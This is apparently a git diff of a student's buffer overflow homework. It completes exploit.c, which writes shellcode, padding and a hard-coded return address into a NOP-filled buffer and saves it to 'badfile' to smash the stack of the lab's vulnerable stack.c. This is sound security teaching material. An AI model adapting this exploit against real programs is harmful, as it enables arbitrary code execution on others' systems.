diff --git a/hw2/badfile b/hw2/badfile index d644f84..fa315c7 100644 Binary files a/hw2/badfile and b/hw2/badfile differ diff --git a/hw2/exploit.c b/hw2/exploit.c index 6f0c834..362325d 100755 --- a/hw2/exploit.c +++ b/hw2/exploit.c @@ -27,9 +27,15 @@ int main(int argc, char **argv) /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); - + /* You need to fill the buffer with appropriate contents here */ - strcpy(buffer, shellcode); + + // Inject the shellcode into the buffer. + strcpy(&buffer[33], shellcode); + // Padding... + strcpy(&buffer[57], "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); + // Point ebp register to the injected code. + strcpy(&buffer[16], "\xf8\xf2\xff\xbf"); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); diff --git a/hw2/stack.c b/hw2/stack.c index 4fba173..dcc06d3 100755 --- a/hw2/stack.c +++ b/hw2/stack.c @@ -15,7 +15,7 @@ int bof(char *str) return 1; } -void main(int argc, char **argv) +int main(int argc, char **argv) { char str[517]; FILE *badfile;